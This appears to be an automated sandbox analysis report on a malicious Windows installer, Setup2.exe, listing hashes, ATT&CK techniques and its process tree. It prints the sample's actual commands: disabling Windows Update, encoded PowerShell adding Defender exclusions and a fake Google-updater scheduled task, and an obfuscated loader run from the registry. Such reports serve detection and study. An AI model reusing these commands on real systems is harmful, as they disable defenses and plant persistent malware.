4754c64162263a12327a42ebcd023e7d0aaae400d02915c1c0ea972ce994842d

General

Target

Setup2.exe
Size

4.5MB
MD5

7ede5e1864c423c59a1cb3bdcd7cc939
SHA1

f34f722ed04615441656ccef087e7b982ae09af9
SHA256

4754c64162263a12327a42ebcd023e7d0aaae400d02915c1c0ea972ce994842d
SHA512

47350800da01d48c6c5ae1a7132bb3f9ed1a247fefbd153b4ec890fd1946a5812ae901f18b775dcc30deeb61e712f42436fcee1ba642ed1b8086517b81c9c95b
SSDEEP

98304:dN1vJXa7MqmTWoYNag+r2UFKl2PjXvp0rcqh2MqnPs17EwoIsuimtRc:dLJXa7WTZrjPjxCh8M7VoJuicRc

Score

10^/10

discovery evasion exploit

Malware Config

Signatures

Modifies security service 2 TTPs 5 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

reg.exe

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe

Drops file in Drivers directory 1 IoCs

Processes:

Setup2.exe

description ioc process

File opened for modification C:\Windows\system32\drivers\etc\hosts Setup2.exe
Possible privilege escalation attempt 2 IoCs
exploit

Processes:

takeown.exeicacls.exe

pid process

388 takeown.exe
4756 icacls.exe
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

Setup2.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation Setup2.exe
Modifies file permissions 1 TTPs 2 IoCs
discovery

File Permissions Modification
T1222

Processes:

icacls.exetakeown.exe

pid process

4756 icacls.exe
388 takeown.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

18 ip-api.com
Suspicious use of SetThreadContext 1 IoCs

Processes:

Setup2.exe

description pid process target process

PID 2328 set thread context of 3904 2328 Setup2.exe conhost.exe
Drops file in Windows directory 1 IoCs

Processes:

conhost.exe

description ioc process

File created C:\Windows\Tasks\dialersvc32.job conhost.exe
Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exe

pid process

4240 sc.exe
1316 sc.exe
4632 sc.exe
1452 sc.exe
1780 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Modifies registry key 1 TTPs 9 IoCs

Modify Registry
T1112

Processes:

reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exe

pid process

2236 reg.exe
3516 reg.exe
4660 reg.exe
3968 reg.exe
4024 reg.exe
316 reg.exe
1536 reg.exe
704 reg.exe
4000 reg.exe
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exeSetup2.exe

pid process

5080 powershell.exe
5080 powershell.exe
2328 Setup2.exe

description	ioc	process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	Setup2.exe

pid	process
388	takeown.exe
4756	icacls.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	Setup2.exe

pid	process
4756	icacls.exe
388	takeown.exe

flow	ioc
18	ip-api.com

description	pid	process	target process
PID 2328 set thread context of 3904	2328	Setup2.exe	conhost.exe

description	ioc	process
File created	C:\Windows\Tasks\dialersvc32.job	conhost.exe

pid	process
4240	sc.exe
1316	sc.exe
4632	sc.exe
1452	sc.exe
1780	sc.exe

pid	process
2236	reg.exe
3516	reg.exe
4660	reg.exe
3968	reg.exe
4024	reg.exe
316	reg.exe
1536	reg.exe
704	reg.exe
4000	reg.exe

pid	process
5080	powershell.exe
5080	powershell.exe
2328	Setup2.exe

Suspicious use of AdjustPrivilegeToken 11 IoCs

Processes:

powershell.exeSetup2.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exetakeown.exe

description	pid	process
Token: SeDebugPrivilege	5080	powershell.exe
Token: SeDebugPrivilege	2328	Setup2.exe
Token: SeShutdownPrivilege	1540	powercfg.exe
Token: SeCreatePagefilePrivilege	1540	powercfg.exe
Token: SeShutdownPrivilege	4876	powercfg.exe
Token: SeCreatePagefilePrivilege	4876	powercfg.exe
Token: SeShutdownPrivilege	516	powercfg.exe
Token: SeCreatePagefilePrivilege	516	powercfg.exe
Token: SeShutdownPrivilege	2232	powercfg.exe
Token: SeCreatePagefilePrivilege	2232	powercfg.exe
Token: SeTakeOwnershipPrivilege	388	takeown.exe

Suspicious use of WriteProcessMemory 51 IoCs

Processes:

Setup2.execmd.execmd.exe

description	pid	process	target process
PID 2328 wrote to memory of 5080	2328	Setup2.exe	powershell.exe
PID 2328 wrote to memory of 5080	2328	Setup2.exe	powershell.exe
PID 2328 wrote to memory of 1432	2328	Setup2.exe	cmd.exe
PID 2328 wrote to memory of 1432	2328	Setup2.exe	cmd.exe
PID 2328 wrote to memory of 4204	2328	Setup2.exe	cmd.exe
PID 2328 wrote to memory of 4204	2328	Setup2.exe	cmd.exe
PID 1432 wrote to memory of 1316	1432	cmd.exe	sc.exe
PID 1432 wrote to memory of 1316	1432	cmd.exe	sc.exe
PID 1432 wrote to memory of 4632	1432	cmd.exe	sc.exe
PID 1432 wrote to memory of 4632	1432	cmd.exe	sc.exe
PID 4204 wrote to memory of 1540	4204	cmd.exe	powercfg.exe
PID 4204 wrote to memory of 1540	4204	cmd.exe	powercfg.exe
PID 1432 wrote to memory of 1452	1432	cmd.exe	sc.exe
PID 1432 wrote to memory of 1452	1432	cmd.exe	sc.exe
PID 4204 wrote to memory of 4876	4204	cmd.exe	powercfg.exe
PID 4204 wrote to memory of 4876	4204	cmd.exe	powercfg.exe
PID 1432 wrote to memory of 1780	1432	cmd.exe	sc.exe
PID 1432 wrote to memory of 1780	1432	cmd.exe	sc.exe
PID 4204 wrote to memory of 516	4204	cmd.exe	powercfg.exe
PID 4204 wrote to memory of 516	4204	cmd.exe	powercfg.exe
PID 1432 wrote to memory of 4240	1432	cmd.exe	sc.exe
PID 1432 wrote to memory of 4240	1432	cmd.exe	sc.exe
PID 1432 wrote to memory of 4660	1432	cmd.exe	reg.exe
PID 1432 wrote to memory of 4660	1432	cmd.exe	reg.exe
PID 4204 wrote to memory of 2232	4204	cmd.exe	powercfg.exe
PID 4204 wrote to memory of 2232	4204	cmd.exe	powercfg.exe
PID 1432 wrote to memory of 2236	1432	cmd.exe	reg.exe
PID 1432 wrote to memory of 2236	1432	cmd.exe	reg.exe
PID 1432 wrote to memory of 3968	1432	cmd.exe	reg.exe
PID 1432 wrote to memory of 3968	1432	cmd.exe	reg.exe
PID 1432 wrote to memory of 4024	1432	cmd.exe	reg.exe
PID 1432 wrote to memory of 4024	1432	cmd.exe	reg.exe
PID 1432 wrote to memory of 316	1432	cmd.exe	reg.exe
PID 1432 wrote to memory of 316	1432	cmd.exe	reg.exe
PID 1432 wrote to memory of 388	1432	cmd.exe	takeown.exe
PID 1432 wrote to memory of 388	1432	cmd.exe	takeown.exe
PID 1432 wrote to memory of 4756	1432	cmd.exe	icacls.exe
PID 1432 wrote to memory of 4756	1432	cmd.exe	icacls.exe
PID 2328 wrote to memory of 4284	2328	Setup2.exe	powershell.exe
PID 2328 wrote to memory of 4284	2328	Setup2.exe	powershell.exe
PID 2328 wrote to memory of 3904	2328	Setup2.exe	conhost.exe
PID 2328 wrote to memory of 3904	2328	Setup2.exe	conhost.exe
PID 2328 wrote to memory of 3904	2328	Setup2.exe	conhost.exe
PID 2328 wrote to memory of 3904	2328	Setup2.exe	conhost.exe
PID 2328 wrote to memory of 3904	2328	Setup2.exe	conhost.exe
PID 2328 wrote to memory of 3904	2328	Setup2.exe	conhost.exe
PID 2328 wrote to memory of 3904	2328	Setup2.exe	conhost.exe
PID 2328 wrote to memory of 3904	2328	Setup2.exe	conhost.exe
PID 2328 wrote to memory of 3904	2328	Setup2.exe	conhost.exe
PID 2328 wrote to memory of 3904	2328	Setup2.exe	conhost.exe
PID 2328 wrote to memory of 3904	2328	Setup2.exe	conhost.exe

C:\Users\Admin\AppData\Local\Temp\Setup2.exe
"C:\Users\Admin\AppData\Local\Temp\Setup2.exe"
1⤵
- Drops file in Drivers directory
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2328

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG8AZAB2AHAAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBkAGIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAcgB3ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHkAdAB5AGsAIwA+AA=="
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5080

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
2⤵
- Suspicious use of WriteProcessMemory
PID:1432

C:\Windows\system32\sc.exe
sc stop UsoSvc
3⤵
- Launches sc.exe
PID:1316

C:\Windows\system32\sc.exe
sc stop WaaSMedicSvc
3⤵
- Launches sc.exe
PID:4632

C:\Windows\system32\sc.exe
sc stop wuauserv
3⤵
- Launches sc.exe
PID:1452

C:\Windows\system32\sc.exe
sc stop bits
3⤵
- Launches sc.exe
PID:1780

C:\Windows\system32\sc.exe
sc stop dosvc
3⤵
- Launches sc.exe
PID:4240

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
3⤵
- Modifies registry key
PID:4660

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
3⤵
- Modifies registry key
PID:2236

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
3⤵
- Modifies security service
- Modifies registry key
PID:3968

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
3⤵
- Modifies registry key
PID:4024

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
3⤵
- Modifies registry key
PID:316

C:\Windows\system32\takeown.exe
takeown /f C:\Windows\System32\WaaSMedicSvc.dll
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:388

C:\Windows\system32\icacls.exe
icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:4756

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
3⤵
- Modifies registry key
PID:1536

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
3⤵
- Modifies registry key
PID:704

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
3⤵
- Modifies registry key
PID:4000

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
3⤵
- Modifies registry key
PID:3516

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
3⤵
PID:2832

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
3⤵
PID:3180

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
3⤵
PID:2212

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
3⤵
PID:4212

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
3⤵
PID:1592

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
3⤵
PID:992

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
3⤵
PID:3116

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
2⤵
- Suspicious use of WriteProcessMemory
PID:4204

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1540

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:4876

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-ac 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:516

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-dc 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2232

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG4AbgByACMAPgAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAdABlAG0AcAAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAHQAZQBtAHAALgBlAHgAZQAnACkAIAA8ACMAcQB3AHUAIwA+AA=="
2⤵
PID:4284

C:\Users\Admin\AppData\Local\Temp\temp.exe
"C:\Users\Admin\AppData\Local\Temp\temp.exe"
3⤵
PID:964

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe
2⤵
- Drops file in Windows directory
PID:3904

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAbgBuAGIAIwA+ACAAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AQQBjAHQAaQBvAG4AIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBBAGMAdABpAG8AbgAgAC0ARQB4AGUAYwB1AHQAZQAgACcAcABvAHcAZQByAHMAaABlAGwAbAAnACAALQBBAHIAZwB1AG0AZQBuAHQAIAAnAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAIgBQAEEAQQBqAEEASABJAEEAYwB3AEEAagBBAEQANABBAEkAQQBCAFQAQQBIAFEAQQBZAFEAQgB5AEEASABRAEEATABRAEIAUQBBAEgASQBBAGIAdwBCAGoAQQBHAFUAQQBjAHcAQgB6AEEAQwBBAEEATABRAEIARwBBAEcAawBBAGIAQQBCAGwAQQBGAEEAQQBZAFEAQgAwAEEARwBnAEEASQBBAEEAbgBBAEUATQBBAE8AZwBCAGMAQQBGAEEAQQBjAGcAQgB2AEEARwBjAEEAYwBnAEIAaABBAEcAMABBAEkAQQBCAEcAQQBHAGsAQQBiAEEAQgBsAEEASABNAEEAWABBAEIASABBAEcAOABBAGIAdwBCAG4AQQBHAHcAQQBaAFEAQgBjAEEARQBNAEEAYQBBAEIAeQBBAEcAOABBAGIAUQBCAGwAQQBGAHcAQQBkAFEAQgB3AEEARwBRAEEAWQBRAEIAMABBAEcAVQBBAGMAZwBBAHUAQQBHAFUAQQBlAEEAQgBsAEEAQwBjAEEASQBBAEEAdABBAEYAWQBBAFoAUQBCAHkAQQBHAEkAQQBJAEEAQgBTAEEASABVAEEAYgBnAEIAQgBBAEgATQBBAEkAQQBBADgAQQBDAE0AQQBaAFEAQgByAEEARwBFAEEASQB3AEEAKwBBAEEAPQA9ACIAJwApACAAPAAjAGoAbABvAGMAIwA+ACAALQBUAHIAaQBnAGcAZQByACAAKABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAVAByAGkAZwBnAGUAcgAgAC0AQQB0AFMAdABhAHIAdAB1AHAAKQAgADwAIwBmAHgAeQB4ACMAPgAgAC0AUwBlAHQAdABpAG4AZwBzACAAKABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAUwBlAHQAdABpAG4AZwBzAFMAZQB0ACAALQBBAGwAbABvAHcAUwB0AGEAcgB0AEkAZgBPAG4AQgBhAHQAdABlAHIAaQBlAHMAIAAtAEQAaQBzAGEAbABsAG8AdwBIAGEAcgBkAFQAZQByAG0AaQBuAGEAdABlACAALQBEAG8AbgB0AFMAdABvAHAASQBmAEcAbwBpAG4AZwBPAG4AQgBhAHQAdABlAHIAaQBlAHMAIAAtAEQAbwBuAHQAUwB0AG8AcABPAG4ASQBkAGwAZQBFAG4AZAAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AVABpAG0AZQBMAGkAbQBpAHQAIAAoAE4AZQB3AC0AVABpAG0AZQBTAHAAYQBuACAALQBEAGEAeQBzACAAMQAwADAAMAApACkAIAA8ACMAdwBpAHcAaQAjAD4AIAAtAFQAYQBzAGsATgBhAG0AZQAgACcARwBvAG8AZwBsAGUAVQBwAGQAYQB0AGUAVABhAHMAawBNAGEAYwBoAGkAbgBlAFEAQwAnACAALQBVAHMAZQByACAAJwBTAHkAcwB0AGUAbQAnACAALQBSAHUAbgBMAGUAdgBlAGwAIAAnAEgAaQBnAGgAZQBzAHQAJwAgAC0ARgBvAHIAYwBlACAAPAAjAHYAaAAjAD4AOwAgAEMAbwBwAHkALQBJAHQAZQBtACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAFMAZQB0AHUAcAAyAC4AZQB4AGUAJwAgAC0ARABlAHMAdABpAG4AYQB0AGkAbwBuACAAJwBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzAFwARwBvAG8AZwBsAGUAXABDAGgAcgBvAG0AZQBcAHUAcABkAGEAdABlAHIALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAA8ACMAYQBlAGIAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAA8ACMAaABnAGkAIwA+ACAALQBUAGEAcwBrAE4AYQBtAGUAIAAnAEcAbwBvAGcAbABlAFUAcABkAGEAdABlAFQAYQBzAGsATQBhAGMAaABpAG4AZQBRAEMAJwA7AA=="
2⤵
PID:1352

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"
1⤵
PID:3764

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"
1⤵
PID:1076

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{f33c2227-1b30-4dd7-8188-08ff070efb37}
1⤵
PID:3752

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -EncodedCommand "PAAjAHIAcwAjAD4AIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAAnAEMAOgBcAFAAcgBvAGcAcgBhAG0AIABGAGkAbABlAHMAXABHAG8AbwBnAGwAZQBcAEMAaAByAG8AbQBlAFwAdQBwAGQAYQB0AGUAcgAuAGUAeABlACcAIAAtAFYAZQByAGIAIABSAHUAbgBBAHMAIAA8ACMAZQBrAGEAIwA+AA=="
1⤵
PID:4968

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Modify Existing Service

2

T1031

Privilege Escalation

Defense Evasion

Modify Registry

2

T1112

Impair Defenses

1

T1562

File Permissions Modification

1

T1222

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Web Service

1

T1102

Impact

Service Stop

1

T1489

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
59d97011e091004eaffb9816aa0b9abd

SHA1
1602a56b01dd4b7c577ca27d3117e4bcc1aa657b

SHA256
18f381e0db020a763b8c515c346ef58679ab9c403267eacfef5359e272f7e71d

SHA512
d9ca49c1a17580981e2c1a50d73c0eecaa7a62f8514741512172e395af2a3d80aeb0f71c58bc7f52c18246d57ba67af09b6bff4776877d6cc6f0245c30e092d6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
64B

MD5
e77c06f62259f84b49e5e53588234472

SHA1
0ecc1af18ea48b0b19f4d3e8a43d70544f5e3179

SHA256
0444ffa5552bc655e5764456ad319a5b1da990eba166f50151fbfab6bc847935

SHA512
0d612004d2e150f7db17cea5039df88dde4e7a2413417f2eb709cfd6ce57202721d16582834cf648a934eb244d871e3a7f86f14fb275a2a4cbd61abd5c990c74

Download Submit
C:\Users\Admin\AppData\Local\Temp\temp.exe
Filesize
7KB

MD5
f321da5881a6aaeb53da13d5c075406b

SHA1
979ed66205d2bad63fc016dc8c32cff6a2b6fc05

SHA256
a6bdf9fcd293ff8169731da2a0a9501ad3a4fd14ce1559bc3f3d26dae9e6f57c

SHA512
c7cf54223afcf437d7206e97ce1003ebf5ddc2b8aa986003f53068a4fd873346298bc998abf303bd54a94e83689ac34786e98deb34446862c1c344121d46851b

Download Submit
C:\Users\Admin\AppData\Local\Temp\temp.exe
Filesize
7KB

MD5
f321da5881a6aaeb53da13d5c075406b

SHA1
979ed66205d2bad63fc016dc8c32cff6a2b6fc05

SHA256
a6bdf9fcd293ff8169731da2a0a9501ad3a4fd14ce1559bc3f3d26dae9e6f57c

SHA512
c7cf54223afcf437d7206e97ce1003ebf5ddc2b8aa986003f53068a4fd873346298bc998abf303bd54a94e83689ac34786e98deb34446862c1c344121d46851b

Download Submit
memory/316-153-0x0000000000000000-mapping.dmp

Download
memory/388-154-0x0000000000000000-mapping.dmp

Download
memory/516-146-0x0000000000000000-mapping.dmp

Download
memory/592-201-0x00007FF862050000-0x00007FF862060000-memory.dmp

Filesize
64KB

Download
memory/704-174-0x0000000000000000-mapping.dmp

Download
memory/964-175-0x00007FF883C40000-0x00007FF884701000-memory.dmp

Filesize
10.8MB

Download
memory/964-169-0x0000000000B30000-0x0000000000B38000-memory.dmp

Filesize
32KB

Download
memory/964-167-0x0000000000000000-mapping.dmp

Download
memory/992-187-0x0000000000000000-mapping.dmp

Download
memory/1076-186-0x0000000001710000-0x0000000001746000-memory.dmp

Filesize
216KB

Download
memory/1076-191-0x0000000004200000-0x0000000004828000-memory.dmp

Filesize
6.2MB

Download
memory/1316-140-0x0000000000000000-mapping.dmp

Download
memory/1352-176-0x00007FF883C40000-0x00007FF884701000-memory.dmp

Filesize
10.8MB

Download
memory/1352-170-0x0000000000000000-mapping.dmp

Download
memory/1432-137-0x0000000000000000-mapping.dmp

Download
memory/1452-143-0x0000000000000000-mapping.dmp

Download
memory/1536-172-0x0000000000000000-mapping.dmp

Download
memory/1540-142-0x0000000000000000-mapping.dmp

Download
memory/1592-185-0x0000000000000000-mapping.dmp

Download
memory/1780-145-0x0000000000000000-mapping.dmp

Download
memory/2212-182-0x0000000000000000-mapping.dmp

Download
memory/2232-149-0x0000000000000000-mapping.dmp

Download
memory/2236-150-0x0000000000000000-mapping.dmp

Download
memory/2328-133-0x00007FF883C40000-0x00007FF884701000-memory.dmp

Filesize
10.8MB

Download
memory/2328-173-0x00007FF883C40000-0x00007FF884701000-memory.dmp

Filesize
10.8MB

Download
memory/2328-132-0x00000000008F0000-0x0000000000D76000-memory.dmp

Filesize
4.5MB

Download
memory/2328-139-0x000000001C760000-0x000000001C772000-memory.dmp

Filesize
72KB

Download
memory/2832-180-0x0000000000000000-mapping.dmp

Download
